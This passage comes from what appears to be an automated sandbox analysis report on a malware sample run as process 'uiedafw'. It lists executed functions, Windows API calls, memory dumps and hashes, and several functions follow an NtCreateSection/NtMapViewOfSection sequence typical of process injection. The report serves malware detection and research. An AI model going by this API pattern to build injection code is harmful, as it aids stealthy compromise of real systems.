
Function 004107BD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004107CC

Part of subcall function 0040FB79: __getptd_noexit.LIBCMT ref: 0040FB7C
Part of subcall function 0040FB79: __amsg_exit.LIBCMT ref: 0040FB89

__getptd.LIBCMT ref: 004107DA

Strings

csm, xrefs: 004107E8

Memory Dump Source

Source File: 00000000.00000002.1706664444.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_3yPvcmrbqS.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 1cb07e08cd657cab27dd70cdf1fce07c784722d96fef412eeef88cfb7174b14f
Instruction ID: a4f3652173448119b84ad88aa336d4b3115c13e53a330a2f90f82eb9c9c34e11
Opcode Fuzzy Hash: 1cb07e08cd657cab27dd70cdf1fce07c784722d96fef412eeef88cfb7174b14f
Instruction Fuzzy Hash: 3E014B348052048ACF34AF66D550AEEB3B5AF50311F58543FE4816A6A2CBB8D9C5CF99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: uiedafwPID: 6092, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	54.9%
Signature Coverage:	0%
Total number of Nodes:	91
Total number of Limit Nodes:	8

Executed Functions

Function 00401590 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction ID: d6964195f2ae178c179c3b7a32e304a619fe45f2cb2dcf097c8130f3d204b23e
Opcode Fuzzy Hash: 569c601533bfa5fc76acd0aceccd82dced2ec0ba9158162e35254d0d933d7b6e
Instruction Fuzzy Hash: 64616FB0904205FFEB208F91CC58FAF7BB8EF81710F10416AFA12BA1E5D6749941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction ID: ff81ed2e81490e93a7bfe721f9c6a4d9304ec08e35c355afa89281eda0ffd623
Opcode Fuzzy Hash: bae20a228bd41bc7813985564ad54ad8a6399e0ad18c72377fec9941621639a0
Instruction Fuzzy Hash: 3E5109B5900249BFEB208F91CC49FAB7BB8FF85710F144169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction ID: af686ae4933c2f6004de28669cc23aaadd0110c3f88d1b974755b8c34b4799b2
Opcode Fuzzy Hash: 6c4736dca5741fb18473fdef31891e556f9b158cac04651ef2a3a7cb79a50736
Instruction Fuzzy Hash: 0E51F9B5900249BFEB208F91CC48FAF7BB8FF85B10F104169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction ID: 765dedf92b6036aea99e2596c7c6646b0bcbba97602321f23575c560d9e65fb8
Opcode Fuzzy Hash: 72661907227a9452eb25ab953c02bdcf5a827517e06e297a0d085dc110f4c5bf
Instruction Fuzzy Hash: 1451E8B5900249BFEF208F91CC48FDF7BB8FF85B10F104169FA11AA2A5D6749945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004015CB Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction ID: 60f1a669064b898f2f8cfe764b4cdaf5e199705ebcb5ef48edc51869d28594cd
Opcode Fuzzy Hash: 004f83838c091370c792dd4fcb680897e20f1790ca1ffba750393c7614aa26f8
Instruction Fuzzy Hash: 2C51FAB1900249BFEF208F91CC48F9FBBB8FF85B10F104169FA11AA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0253003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0253024D

Strings

kernel32.dll, xrefs: 0253008F, 02530095
cess, xrefs: 0253018D

Memory Dump Source

Source File: 00000003.00000002.1950416948.0000000002530000.00000040.00001000.00020000.00000000.sdmp, Offset: 02530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2530000_uiedafw.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: cf20da78aaaed986420dfc0625246ce6185aa6519c43f0d07238763fa49f06d1
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 47526875A01229DFDB65CF58C984BACBBB1BF09314F1480D9E94DAB391DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040F56A Relevance: 7.6, APIs: 5, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___initmbctable.LIBCMT ref: 0040F572

Part of subcall function 00413701: __setmbcp.LIBCMT ref: 0041370C

__calloc_crt.LIBCMT ref: 0040F5A7

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: ___initmbctable__calloc_crt__setmbcp
String ID:
API String ID: 4150745854-0
Opcode ID: d78840106cf323e60952fecf13e6b66d77eadc54326df2380de58cace4ba36fc
Instruction ID: ec008af243d741e7be5257d00270575423b1500172ac901f9ac37231c054c81a
Opcode Fuzzy Hash: d78840106cf323e60952fecf13e6b66d77eadc54326df2380de58cace4ba36fc
Instruction Fuzzy Hash: 64216AB380C6016ADB305F25AC45F533B99EB45338F24093BF951B36D2DB3A980A835D

Uniqueness

Uniqueness Score: -1.00%

Function 00422DD0 Relevance: 4.8, APIs: 3, Instructions: 313
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,0239C014,?,003784FD), ref: 00422FEF
GlobalFlags.KERNEL32(00000000,?,003784FD), ref: 00423109
LoadLibraryW.KERNELBASE(0239C018), ref: 0042320C

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: Global$AllocFlagsLibraryLoad
String ID:
API String ID: 3005774783-0
Opcode ID: 5a200cdd72f8c108d827511670a68f0e209a8fe4ebad460ee6572a431a54fc19
Instruction ID: 53433a40e6311db2902c5ad1bc19b6bb51853bb4bf3dfe76c05b2ba33eca05ab
Opcode Fuzzy Hash: 5a200cdd72f8c108d827511670a68f0e209a8fe4ebad460ee6572a431a54fc19
Instruction Fuzzy Hash: 63B11871B44314AFD320AF50EE45B1B77A8EB49704F41092AF645A73D1C7B9A940CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0256ECCF Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0256ECF7
Module32First.KERNEL32(00000000,00000224), ref: 0256ED17

Memory Dump Source

Source File: 00000003.00000002.1950511447.0000000002569000.00000040.00000020.00020000.00000000.sdmp, Offset: 02569000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2569000_uiedafw.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6aee56ae72548fd2dfb37193d0f6124ffa7e15bed26d573f79231b2247dd6e3a
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 77F0C23A1017116FE7202BB8A88EF7A76F8BF48625F200528E642930C0DB70E8054A69

Uniqueness

Uniqueness Score: -1.00%

Function 02530E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02530223,?,?), ref: 02530E19
SetErrorMode.KERNELBASE(00000000,?,?,02530223,?,?), ref: 02530E1E

Memory Dump Source

Source File: 00000003.00000002.1950416948.0000000002530000.00000040.00001000.00020000.00000000.sdmp, Offset: 02530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2530000_uiedafw.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 690c7f7f7e818847bcba412f42ffdaaae1a26ba2e906be7a4eeda5aa322d6f58
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 2FD0123124522877D7013A94DC09BCD7F5CDF05B66F008011FB0DD9080C770954046E9

Uniqueness

Uniqueness Score: -1.00%

Function 004029BA Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction ID: ddfd821467dba8d9e3be05996510f596060048204c77d2b9bdf6330f9e046059
Opcode Fuzzy Hash: 8b4368bb53e1649655da800b8e3771367f61da053ffbe47dde7c34dc5595736a
Instruction Fuzzy Hash: 5C11E571708104E7D6209A449B4EF6B3724AB50B00F308077E5077A1C0D9FD9A07BBAF

Uniqueness

Uniqueness Score: -1.00%

Function 004029C5 Relevance: 1.6, APIs: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction ID: eda82e36109819710fc28ef01b941f30aa1b457bd77d6c907d6690057fca41fa
Opcode Fuzzy Hash: 630f67e63f4c9d6cadc1f4ef28869250e9dd95ac73f78134dda1cef590dfe083
Instruction Fuzzy Hash: 3C01C471708205E7DA60DA949A4EB6B7710AB51B10F308077E5037A1C4DAFD9A07FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029D1 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction ID: 27f311fed6bd4bb195386d6e886048742e5b6b48a655c0a394e70793ed6bf28f
Opcode Fuzzy Hash: 8aebd7c2dfb35844096bdf04bcf18f9291abc38b44631a4f8f553a04b448b611
Instruction Fuzzy Hash: E0018071708105E7DA609A449B4EB6B7324BB50B10F308477E5077A1C4DAFD9A07BB6F

Uniqueness

Uniqueness Score: -1.00%

Function 0041A3D4 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,00000020,00000000,?,0040E8A7,00000040,00000020,00000000,?,00000020,?,0040BE16,00000020,00000040), ref: 0041A417

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8faf5c6a54eeffe6b075a6f591250359ab32c982db460b56dd165f119e2ae68e
Instruction ID: e6c248eba5956fdd50d81d40c8c2af0cec9ce26e0833dd8b2cb79009762ff8e0
Opcode Fuzzy Hash: 8faf5c6a54eeffe6b075a6f591250359ab32c982db460b56dd165f119e2ae68e
Instruction Fuzzy Hash: 9801D4312022159BEB289F25DC58BE73354EB81764F04C53BE815DB6D0CBB8DCA0C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004029D5 Relevance: 1.6, APIs: 1, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction ID: 6c082c2f6db60d75b034223dafbed04b71575a1e0537fab93527f59567f6cb96
Opcode Fuzzy Hash: 14f9d75437b26c4e33ab762a249f6d4a6897a4cf10a17b4738070ea496484bd2
Instruction Fuzzy Hash: DB01B531708105E7DB60DA409A4DF5F7720BB50B10F208577E5077A1C4DAF99A17EB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004029E2 Relevance: 1.5, APIs: 1, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction ID: daf8977218c418413866257df5c9087131837fd98e0c4230724de407841e0162
Opcode Fuzzy Hash: b2d371f82e3e545a267ab12f2e2f0a58ec4b54f775fd64736b106f9591d7a7c3
Instruction Fuzzy Hash: 3801DF31708104E7DB209A848A4DB5E7320AB40B10F208577E507BA1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 004029E9 Relevance: 1.5, APIs: 1, Instructions: 47libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction ID: 5524fd7572365f35614fa46947343296b9db081daee3b4d0816b59f029c0b045
Opcode Fuzzy Hash: 9850a57f899f03cbeedeed8d531e786c982b6ed5f0a372be87f463e87495e5bd
Instruction Fuzzy Hash: 2101A731704104E7D7209A448A4EB5E7720AB40704F208477E5067A1C4DAB9EA07AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029F9 Relevance: 1.5, APIs: 1, Instructions: 45libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction ID: 2a527b723104a8d4642483acce18f9de5ed6d5a74c4e47f32731208c7d716ef4
Opcode Fuzzy Hash: 83fdb88ab79b739a001a2e8c05ea2e4136fbf27434a3016a2f3de2c8c28590ed
Instruction Fuzzy Hash: 1801A231708104E7DB209A849A4DF9F7720AB40B14F208477E5027A1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 00422720 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(0239A800,0239C014,00000040,?,?,004230D4,?,003784FD), ref: 004227DE

Memory Dump Source

Source File: 00000003.00000002.1948876549.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40b000_uiedafw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 25400d1197a4b36f6e6203b4c3c08db2e6f011cfbf4dae2ba5e3b9ac9b329379
Instruction ID: e96bbed80843544ee0e697c783afd185b37366d0dfb1377b0fcb4334f777a19d
Opcode Fuzzy Hash: 25400d1197a4b36f6e6203b4c3c08db2e6f011cfbf4dae2ba5e3b9ac9b329379
Instruction Fuzzy Hash: C00109B0D64240CAE3108F64F8447127B6AFB1A745F10792ED1458B3A4DBB38565DB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00401969 Relevance: 1.3, APIs: 1, Instructions: 62sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction ID: 1276e484f00ba66cbffb4616bb4d5d076efec51046982770477825c9afbd6400
Opcode Fuzzy Hash: b8285f967374eae4a3c51efe3ce59b098afe428af0dcb557450618fb68c9c18d
Instruction Fuzzy Hash: 0F01D2B6708205FADB005A949C62EBB3618AB41755F300637BA13B80F1C57D8513FA6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401975 Relevance: 1.3, APIs: 1, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction ID: 0230620869f43b82b90ed4dddf49477c9f5c6c73dade890abd4ec4b7d4a8195a
Opcode Fuzzy Hash: 9a4c6db62cce5b151e284cc19e63a433146ff3755d8681b35f1a2b6972971a8e
Instruction Fuzzy Hash: 4801BCB6308205FADB005A949C62FBA3219AB84751F30053BB613BC0F1C53D8513FA2F

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction ID: 9a4b4ffd5ca22a672d673467c452b15ea5c40039b4ea8ded510267d200494456
Opcode Fuzzy Hash: 25088a1f844088f741a859eeb607afc94706ffd20a91742bc3d9f24c23efa0b5
Instruction Fuzzy Hash: 3A01B1B6308205FADB115A949C61A7A3319AB45711F30053BB613B80F2C53D8512FA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000003.00000002.1948860047.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uiedafw.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: f146987f8c0bf49c3ef7592727f3e0a51ae856d021a330616d03f7304a9c3b71
